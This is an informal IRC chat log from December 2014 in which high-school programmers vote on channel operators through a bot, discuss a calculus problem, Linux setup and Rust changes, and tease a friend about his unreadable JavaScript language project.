[2014-12-14T11:21:32-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-14T11:21:32-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-14T11:21:32-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 1, N 1).
[2014-12-14T11:21:32-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-14T11:21:32-0500] <&Pidgey> Proposal (11) to deop should_check_if_the_person_is_an_operator (Y: 1, N 0).
[2014-12-14T11:21:58-0500] <The_Master> .vote 4 yea
[2014-12-14T11:21:58-0500] <&Pidgey> Vote issued.
[2014-12-14T11:22:04-0500] <+JacobEdelman> .active
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (9) to oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Y: 1, N 1).
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 6, N 1).
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 1, N 1).
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-14T11:22:04-0500] <&Pidgey> Proposal (11) to deop should_check_if_the_person_is_an_operator (Y: 1, N 0).
[2014-12-14T11:52:10-0500] <+JacobEdelman> anyone wanna give me a pointer on finding the volume of the largest box with edges parrelle to the axes that can be inscribed in the ellipsioed 9*x^2+36*y^2+4*z^2=36 ?
[2014-12-14T11:53:40-0500] <+Tamini> lolmulti
[2014-12-14T11:53:51-0500] <+JacobEdelman> yes
[2014-12-14T11:54:12-0500] <+JacobEdelman> I did this problem without calculus I think... but I need to figure out how to do it with calculus
[2014-12-14T11:54:51-0500] <+JacobEdelman> oh, wait, I did a different box problem without calculus
[2014-12-14T11:54:53-0500] <+JacobEdelman> not this one
[2014-12-14T11:55:17-0500] <+JacobEdelman> Tamini, can you help?
[2014-12-14T11:55:20-0500] <+JacobEdelman> I just need the first step
[2014-12-14T11:57:11-0500] <+Tamini> um
[2014-12-14T11:57:25-0500] <+Tamini> i would use lagrange
[2014-12-14T11:57:33-0500] <+JacobEdelman> okay
[2014-12-14T11:57:37-0500] <+Tamini> its symmetric about the axes so you just want to maximize xyz 
[2014-12-14T11:57:43-0500] • JacobEdelman: goes and googles lagrange
[2014-12-14T11:57:50-0500] <+Tamini> since the volume ends up being 8xyz right
[2014-12-14T11:57:50-0500] <+JacobEdelman> we were taught that
[2014-12-14T11:57:52-0500] <+JacobEdelman> I think
[2014-12-14T11:58:01-0500] <+Tamini> so just use lagrange multipliers gg
[2014-12-14T11:58:14-0500] <+JacobEdelman> okay
[2014-12-14T12:10:05-0500] <+JacobEdelman> wow
[2014-12-14T12:10:08-0500] <+JacobEdelman> that was ugly
[2014-12-14T12:10:11-0500] <+JacobEdelman> I just did it
[2014-12-14T12:10:22-0500] <+JacobEdelman> lagrange multipliers are ugly
[2014-12-14T12:10:30-0500] <+JacobEdelman> but sound cool
[2014-12-14T12:10:53-0500] <+Tamini> it is cool
[2014-12-14T12:13:12-0500] <alokpathy> JacobEdelman: You could do that problem with DP
[2014-12-14T12:15:57-0500] <alokpathy> Every problem on that assignment can be done with DP.
[2014-12-14T12:20:34-0500] <+Tamini> lol
[2014-12-14T12:20:41-0500] <+Tamini> i think you're meant to calculus tho
[2014-12-14T12:51:19-0500] <alokpathy> Irrelevant.
[2014-12-14T12:55:04-0500] <+Tamini> :P
[2014-12-14T14:42:59-0500] <+JacobEdelman> awe, you there?
[2014-12-14T17:22:09-0500] <+Tamini> JacobEdelman: lol, i love how we both need awe today and he's not around
[2014-12-14T17:38:28-0500] <+JacobEdelman> yup
[2014-12-14T17:38:33-0500] <+JacobEdelman> the one day he's not around
[2014-12-14T17:49:51-0500] Mode is +ns
[2014-12-14T17:50:24-0500] <@awe> JacobEdelman: I'm here now.
[2014-12-14T17:50:29-0500] <@awe> I'm sorry, I was driving all day.
[2014-12-14T17:50:33-0500] <@awe> And yesterday.
[2014-12-14T17:50:50-0500] <@awe> Tamini: hi
[2014-12-14T17:52:29-0500] <+Tamini> awe: hiii
[2014-12-14T17:52:35-0500] <+Tamini> oh, you're no longer in the DC area.
[2014-12-14T17:52:36-0500] <+Tamini> :P
[2014-12-14T17:52:45-0500] <+Tamini> I assumed you'd like come and like stay
[2014-12-14T17:52:47-0500] <+Tamini> or something
[2014-12-14T17:52:52-0500] <@awe> I did.
[2014-12-14T17:52:55-0500] <@awe> I stayed with my sister.
[2014-12-14T17:53:01-0500] <+Tamini> Ah.
[2014-12-14T17:53:58-0500] <@awe> I drove down to Virginia yesterday, and then slept. I met my niece, we went out to lunch, and then I left and drove straight to Florida.
[2014-12-14T17:56:05-0500] <+Tamini> aw, so no free time.
[2014-12-14T17:57:01-0500] <@awe> Yeah, basically.
[2014-12-14T17:57:07-0500] <@awe> Tamini: It's okay though because Penn Apps.
[2014-12-14T17:57:59-0500] <+Tamini> awe: I don't think I'm going to that oops
[2014-12-14T17:58:04-0500] <@awe> Wait, why not?
[2014-12-14T17:58:08-0500] <@awe> I thought you were on our team?
[2014-12-14T17:58:10-0500] <+Tamini> waitlist rip
[2014-12-14T17:58:15-0500] <+Tamini> uhh
[2014-12-14T17:58:18-0500] <+Tamini> apparently it wasn't by team?
[2014-12-14T17:58:23-0500] <@awe> Oh, yeah.
[2014-12-14T17:58:26-0500] <@awe> I mean, I didn't get in at all.
[2014-12-14T17:58:28-0500] <+Tamini> some weirdness happened according to apothy
[2014-12-14T17:58:29-0500] <+Tamini> ah
[2014-12-14T17:58:33-0500] <+Tamini> you were going to go anyway? :P
[2014-12-14T17:58:34-0500] <@awe> But alokpathy said he was going to do something.
[2014-12-14T17:58:40-0500] <+Tamini> o,ok
[2014-12-14T17:58:44-0500] <@awe> I mean, if they admitted half of my team, why wouldn't I go?
[2014-12-14T17:59:39-0500] <alokpathy> I was?
[2014-12-14T17:59:41-0500] <alokpathy> What happened?
[2014-12-14T18:00:19-0500] <alokpathy> Oh, yeah, I think I'm going.
[2014-12-14T18:00:24-0500] <alokpathy> Depends on when our midterms are.
[2014-12-14T18:01:10-0500] <+Tamini> its weird, though.
[2014-12-14T18:01:33-0500] <alokpathy> Yeah, happened with Jay too.
[2014-12-14T18:01:36-0500] <alokpathy> Last year.
[2014-12-14T18:02:40-0500] <+Tamini> weird
[2014-12-14T18:02:44-0500] <+Tamini> isnt jay doing mhacks instead tho?
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[2014-12-14T18:24:10-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-12-14T18:24:10-0500] Set by Pidgey on December 4, 2014 at 1:18:14 PM EST
[2014-12-14T17:58:17-0500] <@awe> I mean, if they admitted half of my team, why wouldn't I go?
[2014-12-14T17:59:12-0500] <alokpathy> I was?
[2014-12-14T17:59:14-0500] <alokpathy> What happened?
[2014-12-14T17:59:52-0500] <alokpathy> Oh, yeah, I think I'm going.
[2014-12-14T17:59:56-0500] <alokpathy> Depends on when our midterms are.
[2014-12-14T18:00:43-0500] <+Tamini> its weird, though.
[2014-12-14T18:01:06-0500] <alokpathy> Yeah, happened with Jay too.
[2014-12-14T18:01:08-0500] <alokpathy> Last year.
[2014-12-14T18:02:12-0500] <+Tamini> weird
[2014-12-14T18:02:16-0500] <+Tamini> isnt jay doing mhacks instead tho?
[2014-12-14T18:05:20-0500] <alokpathy> This time, yeah.
[2014-12-14T18:05:27-0500] <alokpathy> last semester*
[2014-12-14T18:05:28-0500] <alokpathy> not year
[2014-12-14T18:05:32-0500] <alokpathy> I'm too used to saying year.
[2014-12-14T18:06:07-0500] <+Tamini> lol
[2014-12-14T18:06:21-0500] <+Tamini> i'll just go to shmoocon if this doesnt work out
[2014-12-14T18:06:25-0500] <+Tamini> also im pretty sure like 
[2014-12-14T18:06:29-0500] <+Tamini> some other thing is this weekend
[2014-12-14T18:07:32-0500] <+Tamini> that*
[2014-12-14T18:24:11-0500] Mode is +ns
[2014-12-14T18:30:20-0500] <@awe> .-.
[2014-12-14T18:58:28-0500] <+ubuntor> yay, got gentoo installed after messing with uefi stuff
[2014-12-14T19:02:24-0500] <+ubuntor> time for x and gnome3
[2014-12-14T19:10:23-0500] <@awe> ubuntor: o lawd
[2014-12-14T19:10:31-0500] <@awe> gentoo is so much work though.
[2014-12-14T19:10:59-0500] <nezorg> gentoo... sounds fun
[2014-12-14T19:11:10-0500] <nezorg> not for the faint of heart
[2014-12-14T19:11:23-0500] <nezorg> (like me, given that I gave up on even arch...)
[2014-12-14T19:11:25-0500] <@awe> Or for people who ever want to get anything done with their computer.
[2014-12-14T19:11:45-0500] <@awe> nezorg: https://github.com/rust-lang/rust/issues/19853
[2014-12-14T19:11:57-0500] <+ubuntor> gentoo is so much fun though
[2014-12-14T19:12:14-0500] <@awe> Yeah, but it's such a bad idea if you ever want to DO anything.
[2014-12-14T19:12:44-0500] <+ubuntor> eh :P
[2014-12-14T19:16:27-0500] <@awe> That's the main reason why I can't into Linux.
[2014-12-14T19:16:42-0500] <@awe> I spend too much time fixing things, and not enough time working.
[2014-12-14T19:16:54-0500] <@awe> My friend was using Windows for a project and doing stuff.
[2014-12-14T19:16:56-0500] <nezorg> awe: can't find any commits that should mess with that code
[2014-12-14T19:17:04-0500] <@awe> I told him we could do it on Linux because the thing we needed works in Wine.
[2014-12-14T19:17:18-0500] <@awe> He switches to Linux.
[2014-12-14T19:17:25-0500] <@awe> Spends two hours changing configuration and stuff.
[2014-12-14T19:17:26-0500] <@awe> Goes to sleep.
[2014-12-14T19:17:34-0500] <@awe> >.>
[2014-12-14T19:17:42-0500] <@awe> nezorg: they changed Index and IndexMut.
[2014-12-14T19:17:46-0500] <@awe> nezorg: It may be related to that.
[2014-12-14T19:17:50-0500] <nezorg> ah
[2014-12-14T19:18:06-0500] <nezorg> is it associated type-based now?
[2014-12-14T19:18:27-0500] <@awe> I'm not sure.
[2014-12-14T19:18:54-0500] <nezorg> no, it's not
[2014-12-14T19:18:56-0500] <@awe> Okay.
[2014-12-14T19:20:08-0500] <nezorg> it doesn't look any different (except maybe the addition of `Sized?`)
[2014-12-14T19:39:27-0500] <@awe> I uhh...
[2014-12-14T19:39:33-0500] <@awe> Everyone might have to re-register everything.
[2014-12-14T19:40:08-0500] <alokpathy> wat
[2014-12-14T19:40:15-0500] <@awe> Actually, maybe not.
[2014-12-14T19:41:59-0500] <alokpathy> yey
[2014-12-14T19:44:42-0500] <@awe> No. I think you'll have to.
[2014-12-14T19:44:49-0500] <alokpathy> nay
[2014-12-14T19:44:54-0500] <alokpathy> .vote nay
[2014-12-14T19:44:54-0500] <&Pidgey> You must be identified to do that.
[2014-12-14T19:44:58-0500] <@awe> Yeah. .-.
[2014-12-14T19:45:58-0500] <@awe> The implementation of SHA-512 I was using doesn't appear to be compatible with actual implementations.
[2014-12-14T19:46:11-0500] <@awe> But I needed to switch: a) the other one wasn't secure probably and b) it stopped being maintained.
[2014-12-14T19:48:59-0500] <@awe> Actually.
[2014-12-14T19:49:10-0500] <@awe> Hmm.
[2014-12-14T19:49:10-0500] <@awe> No.
[2014-12-14T19:49:13-0500] <@awe> There's nothing I can really do.
[2014-12-14T19:49:44-0500] <@awe> Well, I can add a hash command to PMing services and then you can use that and I can just update everything by hand.
[2014-12-14T19:51:27-0500] <+ubuntor> darn
[2014-12-14T19:52:18-0500] <+ubuntor> .active
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (9) to oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Y: 1, N 1).
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 6, N 1).
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 1, N 1).
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-14T19:52:18-0500] <&Pidgey> Proposal (11) to deop should_check_if_the_person_is_an_operator (Y: 1, N 0).
[2014-12-14T19:52:25-0500] <+ubuntor> .vote 9 nay
[2014-12-14T19:52:25-0500] <&Pidgey> Vote issued.
[2014-12-14T19:52:33-0500] <@awe> Well, either that, or I can literally never restart Pidgey ever.
[2014-12-14T19:52:45-0500] <+ubuntor> probably a bad idea
[2014-12-14T19:53:05-0500] <@awe> Yeah.
[2014-12-14T19:53:16-0500] <@awe> It's probably a better idea to switch to the secure implementation anyway.
[2014-12-14T19:53:18-0500] <@awe> Even if it's painful.
[2014-12-14T20:20:15-0500] <Pharyngeal> awe: You should connect this ircd with Hyperboria
[2014-12-14T21:34:21-0500] <+JacobEdelman> awe
[2014-12-14T21:34:39-0500] <+JacobEdelman> https://github.com/JacobEdelman/lark
[2014-12-14T21:34:44-0500] <+JacobEdelman> in very active development
[2014-12-14T21:34:53-0500] <+JacobEdelman> with ~200 lines I have written
[2014-12-14T21:36:20-0500] <+JacobEdelman> (the languages code name is "annoy weiss")
[2014-12-14T21:37:22-0500] <+JacobEdelman> the official motto is "Because we can"
[2014-12-14T21:38:28-0500] <+ubuntor> hmm, sounds like an esolang...
[2014-12-14T21:38:41-0500] <+JacobEdelman> it won't be
[2014-12-14T21:38:43-0500] <+JacobEdelman> eventually
[2014-12-14T21:38:46-0500] <+JacobEdelman> right now it is
[2014-12-14T21:38:58-0500] <+JacobEdelman> but eventually you'll be able to define functions just like you define macros
[2014-12-14T21:39:23-0500] <+JacobEdelman> so, you could implement list comprhensions
[2014-12-14T21:39:29-0500] <+JacobEdelman> within the language
[2014-12-14T21:39:34-0500] <+ubuntor> ooh
[2014-12-14T21:39:34-0500] <+JacobEdelman> at run-time
[2014-12-14T21:39:53-0500] <+JacobEdelman> right now you could technically bootstrap the rest and write the remainder of the interpreter in Lark
[2014-12-14T21:39:57-0500] <+JacobEdelman> but it would be annoying
[2014-12-14T21:40:04-0500] <+JacobEdelman> so, I still have a lot to do
[2014-12-14T21:40:12-0500] <+JacobEdelman> but the very basic core is done
[2014-12-14T21:40:37-0500] <+JacobEdelman> hardmath123: you there?
[2014-12-14T21:40:48-0500] <+JacobEdelman> ubuntor: what do you think?
[2014-12-14T21:41:10-0500] <+ubuntor> that sounds great
[2014-12-14T21:41:13-0500] <+ubuntor> kinda like a puzzle
[2014-12-14T21:41:14-0500] <+ubuntor> hmm
[2014-12-14T21:42:01-0500] <+JacobEdelman> ?
[2014-12-14T21:42:10-0500] <+JacobEdelman> what do you mean it sounds like a puzzle?
[2014-12-14T21:42:53-0500] <+ubuntor> maybe code golfing
[2014-12-14T21:43:05-0500] <+ubuntor> abusing the mutability
[2014-12-14T21:43:06-0500] <+ubuntor> somehow
[2014-12-14T21:43:07-0500] <+ubuntor> dunno
[2014-12-14T21:43:49-0500] <+ubuntor> but the concept is pretty neat
[2014-12-14T21:44:11-0500] <+JacobEdelman> yeah
[2014-12-14T21:44:22-0500] <+JacobEdelman> I think it can be very expressive for code golf like stuff
[2014-12-14T21:44:31-0500] <+JacobEdelman> its been fun to make
[2014-12-14T21:44:57-0500] <+JacobEdelman> well, gtg
[2014-12-14T22:22:01-0500] <@awe> It's funny because JacobEdelman doesn't realize Lisp already exists.
[2014-12-14T22:24:05-0500] <@awe> Okay, I'm having an intervention.
[2014-12-14T22:24:15-0500] <@awe> JacobEdelman, hardmath123: You do not include generated files in git repositories.
[2014-12-14T22:24:34-0500] <@awe> JacobEdelman, hardmath123: If you can generate it, you provide a script to do the generation. You *do not* include the generated file.
[2014-12-14T22:25:30-0500] <@awe> JacobEdelman: also, your code is so gnarly looking.
[2014-12-14T22:27:03-0500] <bob_twinkles> with the exception of generated files that have massive sources
[2014-12-14T22:27:20-0500] <@awe> Well, yeah.
[2014-12-14T22:27:27-0500] <@awe> They're like thirty line files though.
[2014-12-14T22:27:40-0500] <@awe> JacobEdelman's code is unreadabe.
[2014-12-14T22:27:42-0500] <@awe> unreadable*
[2014-12-14T22:27:47-0500] <@awe> https://github.com/JacobEdelman/lark/blob/master/tests.js
[2014-12-14T22:27:57-0500] <@awe> bob_twinkles: rules.push(lark.parse_with_rule(lark.concat_rules([lark.lit("(with "),lark.named_rule("rule",lark.lit(/\"([^"\/]|\\\\|\\[^\\])*\"/),function(i){return eval(i);}),lark.lit(" "),lark.named_rule("expr",lark.lit(/\"([^"\/]|\\\\|\\[^\\])*\"/),function(i){return eval(i);}),lark.lit(")")])
[2014-12-14T22:28:03-0500] <bob_twinkles> D=
[2014-12-14T22:28:11-0500] <bob_twinkles> that's... bash?
[2014-12-14T22:28:13-0500] <bob_twinkles> I think
[2014-12-14T22:28:15-0500] <bob_twinkles> maybe?
[2014-12-14T22:28:18-0500] <@awe> It's regex.
[2014-12-14T22:28:20-0500] <bob_twinkles> or perhaps perl
[2014-12-14T22:30:57-0500] <bob_twinkles> oh, javascript
[2014-12-14T22:31:10-0500] <@awe> It's Jacob's idea of writing javascript.
[2014-12-14T22:31:14-0500] <bob_twinkles> JacobEdelman: ever heard of a line break?
[2014-12-14T22:31:26-0500] <alokpathy> If JS starts looking like Perl, something's wrong.
[2014-12-14T22:31:44-0500] <bob_twinkles> or it's minified
[2014-12-14T22:32:14-0500] <@awe> bob_twinkles: he just writes it like that though.
[2014-12-14T22:32:26-0500] <@awe> Perl is horrifying.
[2014-12-14T22:32:58-0500] <alokpathy> bob_twinkles: Except in this case it isn't.
[2014-12-14T22:33:24-0500] <@awe> Perl is a language designed solely for the writer.
[2014-12-14T22:33:32-0500] <@awe> It is not meant to be read by anyone ever.
[2014-12-14T22:33:43-0500] <@awe> JacobEdelman writes every language like Perl.
[2014-12-14T22:36:26-0500] <bob_twinkles> http://pastebin.com/UabDDVJ8
[2014-12-14T22:37:47-0500] <bob_twinkles> actually even better http://pastebin.com/kssgkmAC
[2014-12-14T22:38:00-0500] <bob_twinkles> there's no reason to have those anonymous functions that just call eval()
[2014-12-14T22:38:02-0500] <bob_twinkles> JacobEdelman: ^
[2014-12-14T22:38:36-0500] <@awe> http://pastebin.com/N78rxe0A
[2014-12-14T22:38:49-0500] <+Tamini> awe: I'm behind
[2014-12-14T22:38:52-0500] <@awe> space your operators, fool.
[2014-12-14T22:38:57-0500] <+Tamini> please tell me why JacobEdelman is doing this?
[2014-12-14T22:39:15-0500] <@awe> Tamini: Jacob's only goal is to write software that upsets me.
[2014-12-14T22:39:05-0500] <+Tamini> okay, can I get a slightly more objective account of what he's doing? 
[2014-12-14T22:39:08-0500] <@awe> Tamini: So, he writes things that no other human being could possibly edit. 
[2014-12-14T22:39:09-0500] <bob_twinkles> awe: comma isn't an operator pls
[2014-12-14T22:39:13-0500] <bob_twinkles> I wanted all the larks to line up =(
[2014-12-14T22:39:26-0500] <@awe> space the other commas, at least.
[2014-12-14T22:39:45-0500] <@awe> i.e. in the function
[2014-12-14T22:39:52-0500] <@awe> and around the braces and stuff.
[2014-12-14T22:40:02-0500] <bob_twinkles> oh wait actually don't you need to put // at the end of all those lines?
[2014-12-14T22:40:12-0500] <bob_twinkles> 'cause javascript automatically adds semicolons?
[2014-12-14T22:40:18-0500] <@awe> Does it?
[2014-12-14T22:40:20-0500] <bob_twinkles> or does it only do that outside of expressions...
[2014-12-14T22:40:21-0500] <@awe> JavaScript is terrible.
[2014-12-14T22:40:22-0500] • bob_twinkles: shrugs
[2014-12-14T22:41:01-0500] <+ubuntor> you shouldn't rely on automatic semicolon insertion
[2014-12-14T22:41:08-0500] <+ubuntor> why is that a feature anyway...
[2014-12-14T22:41:20-0500] <@awe> That's why I said it's terrible.
[2014-12-14T22:41:23-0500] <@awe> That's not a feature.
[2014-12-14T22:41:26-0500] <@awe> No language should ever do that.
[2014-12-14T23:00:47-0500] <+hardmath123> JacobEdelman: yeah, sort of here
[2014-12-14T23:04:36-0500] <@awe> hardmath123: He wants you to look at his language.
[2014-12-14T23:05:27-0500] <@awe> hardmath123: I don't know what he expects you to see, given that it's impossible for anyone to read it.
[2014-12-14T23:05:29-0500] <@awe> hardmath123: https://github.com/JacobEdelman/lark
[2014-12-14T23:06:14-0500] <+hardmath123> awe: that's a bit cold, don't you think?
[2014-12-14T23:06:37-0500] <bob_twinkles> you can read it, but it's not beautiful code by any stretch of the imagination
[2014-12-14T23:06:45-0500] <@awe> I'm upset right now for unrelated reasons, but his goal is to upset me with this language.
[2014-12-14T23:06:52-0500] <@awe> I don't really think it's cold given that that's his goal.
[2014-12-14T23:07:03-0500] <+hardmath123> oh, wait, i forgot that he hates whitespace
[2014-12-14T23:07:13-0500] <@awe> [21:36:20]  <+JacobEdelman>	(the languages code name is "annoy weiss")
[2014-12-14T23:07:13-0500] <@awe> [21:37:22]  <+JacobEdelman>	the official motto is "Because we can"
[2014-12-14T23:07:47-0500] <+hardmath123> does this make sense:  >> "in actuall fact the parsers should compile their work into rules, wilds should come with rules builtin, no matter what"
[2014-12-14T23:08:09-0500] <@awe> Wat.
[2014-12-14T23:08:11-0500] <@awe> No.
[2014-12-14T23:08:14-0500] <@awe> I cannot parse that sentence.
[2014-12-14T23:08:16-0500] <bob_twinkles> not without knowing your deffinitions of parsers, rules and wilds
[2014-12-14T23:08:48-0500] <+Tamini> lol @ "annoy weiss"
[2014-12-14T23:08:57-0500] <bob_twinkles> also "actuall" -> "actual"
[2014-12-14T23:09:05-0500] <+Tamini> awe, look at how important you are to Jacob! <3
[2014-12-14T23:09:08-0500] <@awe> In actual fact sounds so dumb.
[2014-12-14T23:09:17-0500] <@awe> Just say in fact.
[2014-12-14T23:09:27-0500] <alokpathy> Lol, "In fake fact"
[2014-12-14T23:10:03-0500] <@awe> His hatred of whitespace makes this such a struggle.
[2014-12-14T23:10:09-0500] <@awe> It's one thing to make a language that I think is trash.
[2014-12-14T23:10:19-0500] <+hardmath123> >> (s $a)=(s $a)
[2014-12-14T23:10:24-0500] <@awe> It's another to implement it in a way that is harmful to the reader.
[2014-12-14T23:10:29-0500] <+Tamini> is he reinventing lisp
[2014-12-14T23:10:35-0500] <@awe> Tamini: Yes, but I don't think he realizes it yet.
[2014-12-14T23:10:37-0500] <+Tamini> it looks like he's reinventing lisp
[2014-12-14T23:10:44-0500] <@awe> "A language that can self-mutate"
[2014-12-14T23:10:51-0500] <@awe> That is lisp.
[2014-12-14T23:10:54-0500] <+hardmath123> all languages asymptotically approach lisp
[2014-12-14T23:11:19-0500] <@awe> Also, as far as I'm concerned, self-mutate is synonymous with self-mutilate in terms of a programming language's capabilities.
[2014-12-14T23:12:07-0500] <@awe> "As a result, Lisp programs can manipulate source code as a data structure, giving rise to the macro systems that allow programmers to create new syntax or new domain-specific languages embedded in Lisp."
[2014-12-14T23:20:34-0500] <@awe> Tamini: his base syntax is much worse though.
[2014-12-14T23:20:51-0500] <@awe> Tamini: well, in terms of readability, it's probably a bit easier for actually mutating the language.
[2014-12-14T23:21:22-0500] <+Tamini> wat
[2014-12-14T23:21:25-0500] <+Tamini> examples?
[2014-12-14T23:23:01-0500] <@awe> Tamini: he has an example in the repo.
[2014-12-14T23:23:45-0500] <@awe> nezorg: I learned what move does.
[2014-12-14T23:23:51-0500] <@awe> nezorg: it's part of the unboxed closure syntax.
[2014-12-14T23:23:58-0500] <nezorg> yeah
[2014-12-14T23:24:08-0500] <nezorg> I've read the rfc
[2014-12-14T23:24:24-0500] <@awe> I'm reading a blog post about unboxed closures.
[2014-12-14T23:24:30-0500] <@awe> http://smallcultfollowing.com/babysteps/blog/2014/11/26/purging-proc/
[2014-12-14T23:26:36-0500] <nezorg> so it seems getting my new monitor to work under linux will be a fun experience... https://devtalk.nvidia.com/default/topic/681356/linux/
[2014-12-14T23:27:59-0500] <nezorg> also, apparently the nvidia proprietary driver doesn't support kms yet so I can't run wayland :(
[2014-12-14T23:28:08-0500] <nezorg> (at least it's on the roadmap though)
[2014-12-14T23:28:28-0500] <nezorg> I can't wait till we can throw X out in a dumpster somewhere
[2014-12-14T23:29:49-0500] <+Tamini> alokpathy: did you usaco?
[2014-12-14T23:31:04-0500] <alokpathy> No, doing it tomorro
[2014-12-14T23:31:05-0500] <alokpathy> ww
[2014-12-14T23:31:23-0500] <alokpathy> This week is hell week holy crap
[2014-12-14T23:31:41-0500] <alokpathy> I can't wait until second semester.
[2014-12-14T23:32:08-0500] <+Tamini> LOL
[2014-12-14T23:32:22-0500] <+Tamini> aww, you aren't like my friend?
[2014-12-14T23:32:34-0500] <+Tamini> i was literally told "now that I've gotten into college I don't care enough to go to school tomorrow"
[2014-12-14T23:33:14-0500] <alokpathy> Except I'm still applying to places .-.
[2014-12-14T23:33:28-0500] <+Tamini> finish apps
[2014-12-14T23:33:29-0500] <+Tamini> chill out
[2014-12-14T23:33:29-0500] <+Tamini> B)
[2014-12-14T23:33:46-0500] <+ubuntor> welp, realized i'm working with a optimus laptop
[2014-12-14T23:34:08-0500] <bob_twinkles> mmm
[2014-12-14T23:34:11-0500] <bob_twinkles> bumblebee
[2014-12-14T23:34:23-0500] <bob_twinkles> ubuntor: do you at least have a 64 bit north bridge?
[2014-12-14T23:34:32-0500] <+ubuntor> haven't checked
[2014-12-14T23:34:42-0500] <+ubuntor> i'll do it later
[2014-12-14T23:34:49-0500] <bob_twinkles> well the nvidia module will fail to modprobe very noisily if you don't =P
[2014-12-14T23:34:57-0500] <bob_twinkles> if you're an unlucky bastard like I am at least
[2014-12-14T23:35:02-0500] <bob_twinkles> and you have >3GB of ram
[2014-12-14T23:35:10-0500] <+ubuntor> the module modprobes well
[2014-12-14T23:35:16-0500] <+ubuntor> but now i need to mess with xorg.conf
[2014-12-14T23:41:26-0500] <nezorg> I'm so glad apple didn't go with optimus
[2014-12-14T23:41:39-0500] <nezorg> ...even if it means I'm stuck with discrete all the time in linux
[2014-12-14T23:42:19-0500] <bob_twinkles> what are they using then?
[2014-12-14T23:43:17-0500] <nezorg> their own implementation :P
[2014-12-14T23:43:31-0500] <nezorg> but at least it doesn't have all the shit that comes with optimus
[2014-12-14T23:43:57-0500] <bob_twinkles> Idunno what it ships with on windows but bumblebee is pretty simple
[2014-12-14T23:44:28-0500] <bob_twinkles> the stuff it's built on isn't, but meh =P
[2014-12-14T23:45:05-0500] <nezorg> ...maybe it's changed since I last had to deal with it
[2014-12-14T23:45:10-0500] <nezorg> meh
[2014-12-14T23:46:39-0500] <bob_twinkles> even on gentoo for me it was literally just emerge and enable the service
[2014-12-14T23:46:40-0500] <bob_twinkles> *shrugs*
[2014-12-14T23:46:41-0500] <@awe> bob_twinkles: I thought you were talking about tuna when you said "mmm bumblebee"
[2014-12-14T23:46:47-0500] <bob_twinkles> lol no
[2014-12-14T23:46:52-0500] <bob_twinkles> I don't like fish that much XD
[2014-12-14T23:50:40-0500] <bob_twinkles> I have an early gen optimus laptop though, maybe that has something to do with it?
[2014-12-14T23:51:22-0500] <+hardmath123> this bothers me:   require("./interperter.js");
[2014-12-14T23:52:08-0500] <@awe> hardmath123: why?
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[2014-12-14T23:52:54-0500] <+hardmath123> awe: "interperter"
[2014-12-14T23:53:00-0500] <@awe> Oh.
[2014-12-14T23:53:04-0500] <@awe> Yes, he cannot spell.
[2014-12-14T23:54:36-0500] <+Tamini> lol
[2014-12-14T23:54:50-0500] <+Tamini> awe, were you the one that told me haystack was inspired by one of jacob's english papers? :P
[2014-12-14T23:54:59-0500] <@awe> I don't think so.
[2014-12-14T23:55:02-0500] <@awe> I didn't know that, but I'd believe it.
[2014-12-14T23:55:18-0500] <+Tamini> :P
[2014-12-14T23:58:02-0500] <+hardmath123> http://www.kevinhouston.net/blog/2014/12/the-beatles-magical-mystery-chord-2/
[2014-12-14T23:58:13-0500] <+hardmath123> this is so amazing
[2014-12-15T00:01:24-0500] <+ubuntor> fourier transforms <3
[2014-12-15T00:03:41-0500] <alokpathy> Happy birthday Tamini :P
[2014-12-15T00:05:03-0500] <+Tamini> thank you alokpathy :P
[2014-12-15T00:05:03-0500] <+Tamini> <3
[2014-12-15T00:06:06-0500] <+hardmath123> happy birthday, Tamini!
[2014-12-15T00:06:28-0500] <+Tamini> hardmath123: thanks, hardmath123!
[2014-12-15T00:56:06-0500] hardmath123 is now known as hardmath123[zzz]
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[2014-12-15T01:17:12-0500] <+LittleBobbyTables> Psh, it's totally not your birthday yet
[2014-12-15T01:17:46-0500] <Tamini_> lol california
[2014-12-15T01:17:59-0500] <Tamini_> do you expect me to stay up until 3am to appease you
[2014-12-15T01:20:12-0500] <+LittleBobbyTables> Yes
[2014-12-15T01:20:16-0500] <@awe> Tamini_: happy birfday
[2014-12-15T01:21:17-0500] <Tamini_> thanks, awe :)
[2014-12-15T01:57:26-0500] • Pharyngeal: waves
[2014-12-15T01:57:49-0500] <@awe> Pharyngeal: I thought you were a spambot.
[2014-12-15T01:58:03-0500] <Pharyngeal> lol no, sorry
[2014-12-15T01:58:27-0500] <Pharyngeal> I forget how I found this, but it had something to do with HS Hackers or Hackathon Hackers
[2014-12-15T01:59:30-0500] <Tamini_> oh jacobedelman?
[2014-12-15T01:59:37-0500] <@awe> Yes.
[2014-12-15T01:59:39-0500] <Tamini_> he's been pitching this everywhere
[2014-12-15T01:59:42-0500] <@awe> Definitely Jacob.
